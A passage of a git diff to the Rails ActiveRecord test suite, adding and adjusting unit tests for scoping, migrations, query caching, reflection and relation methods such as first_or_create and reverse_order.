Developer.send(:with_scope, :find => { :conditions => "name = 'Maiha'" }) do @@ -321,7 +321,7 @@ class NestedScopingTest < ActiveRecord::TestCase Developer.send(:with_scope, :find => { :conditions => 'salary = 80000', :limit => 10 }) do Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do devs = Developer.scoped - assert_match "(salary = 80000) AND (name = 'David')", devs.arel.to_sql + assert_match "(salary = 80000) AND (name = 'David')", devs.to_sql assert_equal 10, devs.taken end end diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb index ae531ebb4c..d108b456f0 100644 --- a/activerecord/test/cases/migration/command_recorder_test.rb +++ b/activerecord/test/cases/migration/command_recorder_test.rb @@ -29,7 +29,12 @@ module ActiveRecord assert_equal [[:create_table, [:horses]]], recorder.commands end - def test_unknown_commands_raise_exception + def test_unknown_commands_delegate + recorder = CommandRecorder.new(stub(:foo => 'bar')) + assert_equal 'bar', recorder.foo + end + + def test_unknown_commands_raise_exception_if_they_cannot_delegate @recorder.record :execute, ['some sql'] assert_raises(ActiveRecord::IrreversibleMigration) do @recorder.inverse @@ -86,10 +91,22 @@ module ActiveRecord assert_equal [:remove_index, [:table, {:column => [:one, :two]}]], remove end + def test_invert_add_index_with_name + @recorder.record :add_index, [:table, [:one, :two], {:name => "new_index"}] + remove = @recorder.inverse.first + assert_equal [:remove_index, [:table, {:name => "new_index"}]], remove + end + + def test_invert_add_index_with_no_options + @recorder.record :add_index, [:table, [:one, :two]] + remove = @recorder.inverse.first + assert_equal [:remove_index, [:table, {:column => [:one, :two]}]], remove + end + def test_invert_rename_index - @recorder.record :rename_index, [:old, :new] + @recorder.record :rename_index, [:table, :old, :new] rename = @recorder.inverse.first - assert_equal [:rename_index, [:new, :old]], rename + assert_equal [:rename_index, [:table, :new, :old]], rename end def test_invert_add_timestamps diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb index 111dd01f2b..5c47a8ad33 100644 --- a/activerecord/test/cases/migration_test.rb +++ b/activerecord/test/cases/migration_test.rb @@ -389,8 +389,8 @@ if ActiveRecord::Base.connection.supports_migrations? created_at_column = created_columns.detect {|c| c.name == 'created_at' } updated_at_column = created_columns.detect {|c| c.name == 'updated_at' } - assert created_at_column.null - assert updated_at_column.null + assert !created_at_column.null + assert !updated_at_column.null ensure Person.connection.drop_table table_name rescue nil end @@ -471,11 +471,13 @@ if ActiveRecord::Base.connection.supports_migrations? # Do a manual insertion if current_adapter?(:OracleAdapter) - Person.connection.execute "insert into people (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)" + Person.connection.execute "insert into people (id, wealth, created_at, updated_at) values (people_seq.nextval, 12345678901234567890.0123456789, 0, 0)" elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings - Person.connection.execute "insert into people (wealth) values ('12345678901234567890.0123456789')" + Person.connection.execute "insert into people (wealth, created_at, updated_at) values ('12345678901234567890.0123456789', 0, 0)" + elsif current_adapter?(:PostgreSQLAdapter) + Person.connection.execute "insert into people (wealth, created_at, updated_at) values (12345678901234567890.0123456789, now(), now())" else - Person.connection.execute "insert into people (wealth) values (12345678901234567890.0123456789)" + Person.connection.execute "insert into people (wealth, created_at, updated_at) values (12345678901234567890.0123456789, 0, 0)" end # SELECT @@ -516,6 +518,42 @@ if ActiveRecord::Base.connection.supports_migrations? assert_equal 7, wealth_column.scale end + # Test SQLite adapter specifically for decimal types with precision and scale + # attributes, since these need to be maintained in schema but aren't actually + # used in SQLite itself + if current_adapter?(:SQLite3Adapter) + def test_change_column_with_new_precision_and_scale + Person.delete_all + Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7 + Person.reset_column_information + + Person.connection.change_column 'people', 'wealth', :decimal, :precision => 12, :scale => 8 + Person.reset_column_information + + wealth_column = Person.columns_hash['wealth'] + assert_equal 12, wealth_column.precision + assert_equal 8, wealth_column.scale + end + + def test_change_column_preserve_other_column_precision_and_scale + Person.delete_all + Person.connection.add_column 'people', 'last_name', :string + Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7 + Person.reset_column_information + + wealth_column = Person.columns_hash['wealth'] + assert_equal 9, wealth_column.precision + assert_equal 7, wealth_column.scale + + Person.connection.change_column 'people', 'last_name', :string, :null => false + Person.reset_column_information + + wealth_column = Person.columns_hash['wealth'] + assert_equal 9, wealth_column.precision + assert_equal 7, wealth_column.scale + end + end + def test_native_types Person.delete_all Person.connection.add_column "people", "last_name", :string @@ -1071,6 +1109,18 @@ if ActiveRecord::Base.connection.supports_migrations? Person.connection.drop_table :testings rescue nil end + def test_column_exists_on_table_with_no_options_parameter_supplied + Person.connection.create_table :testings do |t| + t.string :foo + end + Person.connection.change_table :testings do |t| + assert t.column_exists?(:foo) + assert !(t.column_exists?(:bar)) + end + ensure + Person.connection.drop_table :testings rescue nil + end + def test_add_table assert !Reminder.table_exists? @@ -1289,6 +1339,15 @@ if ActiveRecord::Base.connection.supports_migrations? end end + def test_dump_schema_information_outputs_lexically_ordered_versions + migration_path = MIGRATIONS_ROOT + '/valid_with_timestamps' + ActiveRecord::Migrator.run(:up, migration_path, 20100301010101) + ActiveRecord::Migrator.run(:up, migration_path, 20100201010101) + + schema_info = ActiveRecord::Base.connection.dump_schema_information + assert_match(/20100201010101.*20100301010101/m, schema_info) + end + def test_finds_pending_migrations ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1) migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb index 34188e4915..4a09a87322 100644 --- a/activerecord/test/cases/named_scope_test.rb +++ b/activerecord/test/cases/named_scope_test.rb @@ -182,7 +182,7 @@ class NamedScopeTest < ActiveRecord::TestCase def test_first_and_last_should_allow_integers_for_limit assert_equal Topic.base.first(2), Topic.base.to_a.first(2) - assert_equal Topic.base.last(2), Topic.base.to_a.last(2) + assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2) end def test_first_and_last_should_not_use_query_when_results_are_loaded @@ -456,6 +456,14 @@ class NamedScopeTest < ActiveRecord::TestCase end end + def test_scopes_to_get_newest + post = posts(:welcome) + old_last_comment = post.comments.newest + new_comment = post.comments.create(:body => "My new comment") + assert_equal new_comment, post.comments.newest + assert_not_equal old_last_comment, post.comments.newest + end + def test_scopes_are_reset_on_association_reload post = posts(:welcome) @@ -489,14 +497,24 @@ end class DynamicScopeTest < ActiveRecord::TestCase fixtures :posts + def setup + @test_klass = Class.new(Post) do + def self.name; "Post"; end + end + end + def test_dynamic_scope - assert_equal Post.scoped_by_author_id(1).find(1), Post.find(1) - assert_equal Post.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, Post.find(:first, :conditions => { :author_id => 1, :title => "Welcome to the weblog"}) + assert_equal @test_klass.scoped_by_author_id(1).find(1), @test_klass.find(1) + assert_equal @test_klass.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, @test_klass.find(:first, :conditions => { :author_id => 1, :title => "Welcome to the weblog"}) end def test_dynamic_scope_should_create_methods_after_hitting_method_missing - assert_blank Developer.methods.grep(/scoped_by_created_at/) - Developer.scoped_by_created_at(nil) - assert_present Developer.methods.grep(/scoped_by_created_at/) + assert_blank @test_klass.methods.grep(/scoped_by_type/) + @test_klass.scoped_by_type(nil) + assert_present @test_klass.methods.grep(/scoped_by_type/) + end + + def test_dynamic_scope_with_less_number_of_arguments + assert_raise(ArgumentError){ @test_klass.scoped_by_author_id_and_title(1) } end end diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb index 6568eb1d18..2ae9cb4888 100644 --- a/activerecord/test/cases/nested_attributes_test.rb +++ b/activerecord/test/cases/nested_attributes_test.rb @@ -45,6 +45,14 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase end end + def test_should_not_build_a_new_record_using_reject_all_even_if_destroy_is_given + pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?") + pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => '', :_destroy => '0'}] + pirate.save! + + assert pirate.birds_with_reject_all_blank.empty? + end + def test_should_not_build_a_new_record_if_reject_all_blank_returns_false pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?") pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => ''}] @@ -755,6 +763,11 @@ module NestedAttributesOnACollectionAssociationTests Interest.reflect_on_association(:man).options[:inverse_of] = :interests end + def test_can_use_symbols_as_object_identifier + @pirate.attributes = { :parrots_attributes => { :foo => { :name => 'Lovely Day' }, :bar => { :name => 'Blown Away' } } } + assert_nothing_raised(NoMethodError) { @pirate.save! } + end + private def association_setter diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb index 57d1441128..adfd8e83a1 100644 --- a/activerecord/test/cases/persistence_test.rb +++ b/activerecord/test/cases/persistence_test.rb @@ -29,6 +29,26 @@ class PersistencesTest < ActiveRecord::TestCase end end + def test_update_all_doesnt_ignore_order + assert_equal authors(:david).id + 1, authors(:mary).id # make sure there is going to be a duplicate PK error + test_update_with_order_succeeds = lambda do |order| + begin + Author.order(order).update_all('id = id + 1') + rescue ActiveRecord::ActiveRecordError + false + end + end + + if test_update_with_order_succeeds.call('id DESC') + assert !test_update_with_order_succeeds.call('id ASC') # test that this wasn't a fluke and using an incorrect order results in an exception + else + # test that we're failing because the current Arel's engine doesn't support UPDATE ORDER BY queries is using subselects instead + assert_sql(/\AUPDATE .+ \(SELECT .* ORDER BY id DESC\)\Z/i) do + test_update_with_order_succeeds.call('id DESC') + end + end + end + def test_update_all_with_order_and_limit_updates_subset_only author = authors(:david) assert_nothing_raised do @@ -182,9 +202,12 @@ class PersistencesTest < ActiveRecord::TestCase end def test_create_columns_not_equal_attributes - topic = Topic.new - topic.title = 'Another New Topic' - topic.send :write_attribute, 'does_not_exist', 'test' + topic = Topic.allocate.init_with( + 'attributes' => { + 'title' => 'Another New Topic', + 'does_not_exist' => 'test' + } + ) assert_nothing_raised { topic.save } end @@ -229,9 +252,11 @@ class PersistencesTest < ActiveRecord::TestCase topic.title = "Still another topic" topic.save - topicReloaded = Topic.find(topic.id) - topicReloaded.title = "A New Topic" - topicReloaded.send :write_attribute, 'does_not_exist', 'test' + topicReloaded = Topic.allocate + topicReloaded.init_with( + 'attributes' => topic.attributes.merge('does_not_exist' => 'test') + ) + topicReloaded.title = 'A New Topic' assert_nothing_raised { topicReloaded.save } end diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb index 379cf5b44e..434b8a677a 100644 --- a/activerecord/test/cases/pooled_connections_test.rb +++ b/activerecord/test/cases/pooled_connections_test.rb @@ -3,6 +3,8 @@ require "models/project" require "timeout" class PooledConnectionsTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + def setup @per_test_teardown = [] @connection = ActiveRecord::Base.remove_connection diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb index 05a41d8a0a..4bb5752096 100644 --- a/activerecord/test/cases/primary_keys_test.rb +++ b/activerecord/test/cases/primary_keys_test.rb @@ -146,3 +146,23 @@ class PrimaryKeysTest < ActiveRecord::TestCase assert_equal k.connection.quote_column_name("bar"), k.quoted_primary_key end end + +class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + + def test_set_primary_key_with_no_connection + return skip("disconnect wipes in-memory db") if in_memory_db? + + connection = ActiveRecord::Base.remove_connection + + model = Class.new(ActiveRecord::Base) do + set_primary_key 'foo' + end + + assert_equal 'foo', model.primary_key + + ActiveRecord::Base.establish_connection(connection) + + assert_equal 'foo', model.primary_key + end +end diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb index a61180cfaf..9554386dcf 100644 --- a/activerecord/test/cases/query_cache_test.rb +++ b/activerecord/test/cases/query_cache_test.rb @@ -13,6 +13,32 @@ class QueryCacheTest < ActiveRecord::TestCase ActiveRecord::Base.connection.disable_query_cache! end + def test_exceptional_middleware_clears_and_disables_cache_on_error + assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off' + + mw = ActiveRecord::QueryCache.new lambda { |env| + Task.find 1 + Task.find 1 + assert_equal 1, ActiveRecord::Base.connection.query_cache.length + raise "lol borked" + } + assert_raises(RuntimeError) { mw.call({}) } + + assert_equal 0, ActiveRecord::Base.connection.query_cache.length + assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off' + end + + def test_exceptional_middleware_leaves_enabled_cache_alone + ActiveRecord::Base.connection.enable_query_cache! + + mw = ActiveRecord::QueryCache.new lambda { |env| + raise "lol borked" + } + assert_raises(RuntimeError) { mw.call({}) } + + assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on' + end + def test_middleware_delegates called = false mw = ActiveRecord::QueryCache.new lambda { |env| @@ -121,13 +147,16 @@ class QueryCacheTest < ActiveRecord::TestCase end def test_cache_does_not_wrap_string_results_in_arrays - require 'sqlite3/version' if current_adapter?(:SQLite3Adapter) + if current_adapter?(:SQLite3Adapter) + require 'sqlite3/version' + sqlite3_version = RUBY_PLATFORM =~ /java/ ? Jdbc::SQLite3::VERSION : SQLite3::VERSION + end Task.cache do # Oracle adapter returns count() as Fixnum or Float if current_adapter?(:OracleAdapter) assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks") - elsif current_adapter?(:SQLite3Adapter) && SQLite3::VERSION > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter) + elsif current_adapter?(:SQLite3Adapter) && sqlite3_version > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter) # Future versions of the sqlite3 adapter will return numeric assert_instance_of Fixnum, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks") @@ -141,6 +170,18 @@ end class QueryCacheExpiryTest < ActiveRecord::TestCase fixtures :tasks, :posts, :categories, :categories_posts + def test_cache_gets_cleared_after_migration + # warm the cache + Post.find(1) + + # change the column definition + Post.connection.change_column :posts, :title, :string, :limit => 80 + assert_nothing_raised { Post.find(1) } + + # restore the old definition + Post.connection.change_column :posts, :title, :string + end + def test_find Task.connection.expects(:clear_query_cache).times(1) @@ -203,3 +244,14 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase end end end + +class QueryCacheBodyProxyTest < ActiveRecord::TestCase + + test "is polite to it's body and responds to it" do + body = Class.new(String) { def to_path; "/path"; end }.new + proxy = ActiveRecord::QueryCache::BodyProxy.new(nil, body, ActiveRecord::Base.connection_id) + assert proxy.respond_to?(:to_path) + assert_equal proxy.to_path, "/path" + end + +end diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb index 97d9669483..4d21822cf5 100644 --- a/activerecord/test/cases/reflection_test.rb +++ b/activerecord/test/cases/reflection_test.rb @@ -18,6 +18,7 @@ require 'models/subscriber' require 'models/subscription' require 'models/tag' require 'models/sponsor' +require 'models/edge' class ReflectionTest < ActiveRecord::TestCase include ActiveRecord::Reflection @@ -76,7 +77,7 @@ class ReflectionTest < ActiveRecord::TestCase end def test_reflection_klass_for_nested_class_name - reflection = MacroReflection.new(nil, nil, { :class_name => 'MyApplication::Business::Company' }, nil) + reflection = MacroReflection.new(:company, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base) assert_nothing_raised do assert_equal MyApplication::Business::Company, reflection.klass end @@ -216,7 +217,7 @@ class ReflectionTest < ActiveRecord::TestCase def test_conditions expected = [ [{ :tags => { :name => 'Blue' } }], - [{ :taggings => { :comment => 'first' } }, { "taggable_type" => "Post" }], + [{ :taggings => { :comment => 'first' } }], [{ :posts => { :title => ['misc post by bob', 'misc post by mary'] } }] ] actual = Author.reflect_on_association(:misc_post_first_blue_tags).conditions @@ -224,7 +225,7 @@ class ReflectionTest < ActiveRecord::TestCase expected = [ [{ :tags => { :name => 'Blue' } }, { :taggings => { :comment => 'first' } }, { :posts => { :title => ['misc post by bob', 'misc post by mary'] } }], - [{ "taggable_type" => "Post" }], + [], [] ] actual = Author.reflect_on_association(:misc_post_first_blue_tags_2).conditions @@ -244,7 +245,7 @@ class ReflectionTest < ActiveRecord::TestCase # Normal association assert_equal "id", Author.reflect_on_association(:posts).association_primary_key.to_s assert_equal "name", Author.reflect_on_association(:essay).association_primary_key.to_s - assert_equal "id", Tagging.reflect_on_association(:taggable).association_primary_key.to_s + assert_equal "name", Essay.reflect_on_association(:writer).association_primary_key.to_s # Through association (uses the :primary_key option from the source reflection) assert_equal "nick", Author.reflect_on_association(:subscribers).association_primary_key.to_s @@ -252,11 +253,25 @@ class ReflectionTest < ActiveRecord::TestCase assert_equal "custom_primary_key", Author.reflect_on_association(:tags_with_primary_key).association_primary_key.to_s # nested end + def test_association_primary_key_raises_when_missing_primary_key + reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, {}, Author) + assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key } + + through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, {}, Author) + through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge')) + assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key } + end + def test_active_record_primary_key assert_equal "nick", Subscriber.reflect_on_association(:subscriptions).active_record_primary_key.to_s assert_equal "name", Author.reflect_on_association(:essay).active_record_primary_key.to_s end + def test_active_record_primary_key_raises_when_missing_primary_key + reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, {}, Edge) + assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key } + end + def test_foreign_type assert_equal "sponsorable_type", Sponsor.reflect_on_association(:sponsorable).foreign_type.to_s assert_equal "sponsorable_type", Sponsor.reflect_on_association(:thing).foreign_type.to_s @@ -304,11 +319,10 @@ class ReflectionTest < ActiveRecord::TestCase assert_equal "category_id", Post.reflect_on_association(:categorizations).foreign_key.to_s end - def test_primary_key_name - assert_deprecated do - assert_equal "author_id", Author.reflect_on_association(:posts).primary_key_name.to_s - assert_equal "category_id", Post.reflect_on_association(:categorizations).primary_key_name.to_s - end + def test_through_reflection_conditions_do_not_modify_other_reflections + orig_conds = Post.reflect_on_association(:first_blue_tags_2).conditions.inspect + Author.reflect_on_association(:misc_post_first_blue_tags_2).conditions + assert_equal orig_conds, Post.reflect_on_association(:first_blue_tags_2).conditions.inspect end private diff --git a/activerecord/test/cases/relation_scoping_test.rb b/activerecord/test/cases/relation_scoping_test.rb index c215602567..1e2093273e 100644 --- a/activerecord/test/cases/relation_scoping_test.rb +++ b/activerecord/test/cases/relation_scoping_test.rb @@ -11,6 +11,26 @@ require 'models/reference' class RelationScopingTest < ActiveRecord::TestCase fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects + def test_reverse_order + assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order + end + + def test_reverse_order_with_arel_node + assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).reverse_order + end + + def test_reverse_order_with_multiple_arel_nodes + assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).order(Developer.arel_table[:name].desc).reverse_order + end + + def test_reverse_order_with_arel_nodes_and_strings + assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order("id DESC").order(Developer.arel_table[:name].desc).reverse_order + end + + def test_double_reverse_order_produces_original_order + assert_equal Developer.order("name DESC"), Developer.order("name DESC").reverse_order.reverse_order + end + def test_scoped_find Developer.where("name = 'David'").scoping do assert_nothing_raised { Developer.find(1) } @@ -150,7 +170,7 @@ class NestedRelationScopingTest < ActiveRecord::TestCase Developer.where('salary = 80000').scoping do Developer.limit(10).scoping do devs = Developer.scoped - assert_match '(salary = 80000)', devs.arel.to_sql + assert_match '(salary = 80000)', devs.to_sql assert_equal 10, devs.taken end end @@ -312,6 +332,14 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal [developers(:david).becomes(ClassMethodDeveloperCalledDavid)], ClassMethodDeveloperCalledDavid.all end + def test_default_scope_as_class_method_referencing_scope + assert_equal [developers(:david).becomes(ClassMethodReferencingScopeDeveloperCalledDavid)], ClassMethodReferencingScopeDeveloperCalledDavid.all + end + + def test_default_scope_as_block_referencing_scope + assert_equal [developers(:david).becomes(LazyBlockReferencingScopeDeveloperCalledDavid)], LazyBlockReferencingScopeDeveloperCalledDavid.all + end + def test_default_scope_with_lambda assert_equal [developers(:david).becomes(LazyLambdaDeveloperCalledDavid)], LazyLambdaDeveloperCalledDavid.all end @@ -456,6 +484,13 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal 'Jamis', jamis.name end + # FIXME: I don't know if this is *desired* behavior, but it is *today's* + # behavior. + def test_create_with_empty_hash_will_not_reset + jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with({}).new + assert_equal 'Aaron', jamis.name + end + def test_unscoped_with_named_scope_should_not_have_default_scope assert_equal [DeveloperCalledJamis.find(developers(:poor_jamis).id)], DeveloperCalledJamis.poor @@ -463,7 +498,48 @@ class DefaultScopingTest < ActiveRecord::TestCase assert_equal 10, DeveloperCalledJamis.unscoped.poor.length end + def test_default_scope_select_ignored_by_aggregations + assert_equal DeveloperWithSelect.all.count, DeveloperWithSelect.count + end + + def test_default_scope_select_ignored_by_grouped_aggregations + assert_equal Hash[Developer.all.group_by(&:salary).map { |s, d| [s, d.count] }], + DeveloperWithSelect.group(:salary).count + end + def test_default_scope_order_ignored_by_aggregations assert_equal DeveloperOrderedBySalary.all.count, DeveloperOrderedBySalary.count end + + def test_default_scope_find_last + assert DeveloperOrderedBySalary.count > 1, "need more than one row for test" + + lowest_salary_dev = DeveloperOrderedBySalary.find(developers(:poor_jamis).id) + assert_equal lowest_salary_dev, DeveloperOrderedBySalary.last + end + + def test_default_scope_include_with_count + d = DeveloperWithIncludes.create! + d.audit_logs.create! :message => 'foo' + + assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count + end + + def test_default_scope_is_threadsafe + if in_memory_db? + skip "in memory db can't share a db between threads" + end + + threads = [] + assert_not_equal 1, ThreadsafeDeveloper.unscoped.count + + threads << Thread.new do + Thread.current[:long_default_scope] = true + assert_equal 1, ThreadsafeDeveloper.all.count + end + threads << Thread.new do + assert_equal 1, ThreadsafeDeveloper.all.count + end + threads.each(&:join) + end end diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb index 6874bd18f8..b23ead6feb 100644 --- a/activerecord/test/cases/relation_test.rb +++ b/activerecord/test/cases/relation_test.rb @@ -20,7 +20,7 @@ module ActiveRecord end def test_single_values - assert_equal [:limit, :offset, :lock, :readonly, :create_with, :from, :reorder].map(&:to_s).sort, + assert_equal [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order].map(&:to_s).sort, Relation::SINGLE_VALUE_METHODS.map(&:to_s).sort end diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb index fc9df8c7a3..95408a5f29 100644 --- a/activerecord/test/cases/relations_test.rb +++ b/activerecord/test/cases/relations_test.rb @@ -145,6 +145,18 @@ class RelationTest < ActiveRecord::TestCase assert_equal topics(:first).title, topics.first.title end + + def test_finding_with_arel_order + topics = Topic.order(Topic.arel_table[:id].asc) + assert_equal 4, topics.to_a.size + assert_equal topics(:first).title, topics.first.title + end + + def test_finding_last_with_arel_order + topics = Topic.order(Topic.arel_table[:id].asc) + assert_equal topics(:fourth).title, topics.last.title + end + def test_finding_with_order_concatenated topics = Topic.order('author_name').order('title') assert_equal 4, topics.to_a.size @@ -164,6 +176,13 @@ class RelationTest < ActiveRecord::TestCase assert_equal entrants(:first).name, entrants.first.name end + def test_finding_with_cross_table_order_and_limit + tags = Tag.includes(:taggings). + order("tags.name asc", "taggings.taggable_id asc", "REPLACE('abc', taggings.taggable_type, taggings.taggable_type)"). + limit(1).to_a + assert_equal 1, tags.length + end + def test_finding_with_complex_order_and_limit tags = Tag.includes(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").limit(1).to_a assert_equal 1, tags.length @@ -372,6 +391,15 @@ class RelationTest < ActiveRecord::TestCase assert_equal Post.find(1).last_comment, post.last_comment end + def test_dynamic_find_by_attributes_should_yield_found_object + david = authors(:david) + yielded_value = nil + Author.find_by_name(david.name) do |author| + yielded_value = author + end + assert_equal david, yielded_value + end + def test_dynamic_find_by_attributes david = authors(:david) author = Author.preload(:taggings).find_by_id(david.id) @@ -512,6 +540,29 @@ class RelationTest < ActiveRecord::TestCase } end + def test_find_all_using_where_with_relation_and_alternate_primary_key + cool_first = minivans(:cool_first) + # switching the lines below would succeed in current rails + # assert_queries(2) { + assert_queries(1) { + relation = Minivan.where(:minivan_id => Minivan.where(:name => cool_first.name)) + assert_equal [cool_first], relation.all + } + end + + def test_find_all_using_where_with_relation_does_not_alter_select_values + david = authors(:david) + + subquery = Author.where(:id => david.id) + + assert_queries(1) { + relation = Author.where(:id => subquery) + assert_equal [david], relation.all + } + + assert_equal 0, subquery.select_values.size + end + def test_find_all_using_where_with_relation_with_joins david = authors(:david) assert_queries(1) { @@ -812,6 +863,128 @@ class RelationTest < ActiveRecord::TestCase assert_equal 'hen', hen.name end + def test_first_or_create + parrot = Bird.where(:color => 'green').first_or_create(:name => 'parrot') + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'parrot', parrot.name + assert_equal 'green', parrot.color + + same_parrot = Bird.where(:color => 'green').first_or_create(:name => 'parakeet') + assert_kind_of Bird, same_parrot + assert same_parrot.persisted? + assert_equal parrot, same_parrot + end + + def test_first_or_create_with_no_parameters + parrot = Bird.where(:color => 'green').first_or_create + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert_equal 'green', parrot.color + end + + def test_first_or_create_with_block + parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parrot' } + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'green', parrot.color + assert_equal 'parrot', parrot.name + + same_parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parakeet' } + assert_equal parrot, same_parrot + end + + def test_first_or_create_with_array + several_green_birds = Bird.where(:color => 'green').first_or_create([{:name => 'parrot'}, {:name => 'parakeet'}]) + assert_kind_of Array, several_green_birds + several_green_birds.each { |bird| assert bird.persisted? } + + same_parrot = Bird.where(:color => 'green').first_or_create([{:name => 'hummingbird'}, {:name => 'macaw'}]) + assert_kind_of Bird, same_parrot + assert_equal several_green_birds.first, same_parrot + end + + def test_first_or_create_bang_with_valid_options + parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parrot') + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'parrot', parrot.name + assert_equal 'green', parrot.color + + same_parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parakeet') + assert_kind_of Bird, same_parrot + assert same_parrot.persisted? + assert_equal parrot, same_parrot + end + + def test_first_or_create_bang_with_invalid_options + assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!(:pirate_id => 1) } + end + + def test_first_or_create_bang_with_no_parameters + assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create! } + end + + def test_first_or_create_bang_with_valid_block + parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parrot' } + assert_kind_of Bird, parrot + assert parrot.persisted? + assert_equal 'green', parrot.color + assert_equal 'parrot', parrot.name + + same_parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parakeet' } + assert_equal parrot, same_parrot + end + + def test_first_or_create_bang_with_invalid_block + assert_raise(ActiveRecord::RecordInvalid) do + Bird.where(:color => 'green').first_or_create! { |bird| bird.pirate_id = 1 } + end + end + + def test_first_or_create_with_valid_array + several_green_birds = Bird.where(:color => 'green').first_or_create!([{:name => 'parrot'}, {:name => 'parakeet'}]) + assert_kind_of Array, several_green_birds + several_green_birds.each { |bird| assert bird.persisted? } + + same_parrot = Bird.where(:color => 'green').first_or_create!([{:name => 'hummingbird'}, {:name => 'macaw'}]) + assert_kind_of Bird, same_parrot + assert_equal several_green_birds.first, same_parrot + end + + def test_first_or_create_with_invalid_array + assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!([ {:name => 'parrot'}, {:pirate_id => 1} ]) } + end + + def test_first_or_initialize + parrot = Bird.where(:color => 'green').first_or_initialize(:name => 'parrot') + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert parrot.valid? + assert parrot.new_record? + assert_equal 'parrot', parrot.name + assert_equal 'green', parrot.color + end + + def test_first_or_initialize_with_no_parameters + parrot = Bird.where(:color => 'green').first_or_initialize + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert !parrot.valid? + assert parrot.new_record? + assert_equal 'green', parrot.color + end + + def test_first_or_initialize_with_block + parrot = Bird.where(:color => 'green').first_or_initialize { |bird| bird.name = 'parrot' } + assert_kind_of Bird, parrot + assert !parrot.persisted? + assert parrot.valid? + assert parrot.new_record? + assert_equal 'green', parrot.color + assert_equal 'parrot', parrot.name + end + def test_explicit_create_scope hens = Bird.where(:name => 'hen') assert_equal 'hen', hens.new.name @@ -933,4 +1106,46 @@ class RelationTest < ActiveRecord::TestCase assert scope.eager_loading? end + + def test_ordering_with_extra_spaces + assert_equal authors(:david), Author.order('id DESC , name DESC').last + end + + def test_update_all_with_joins + comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id) + count = 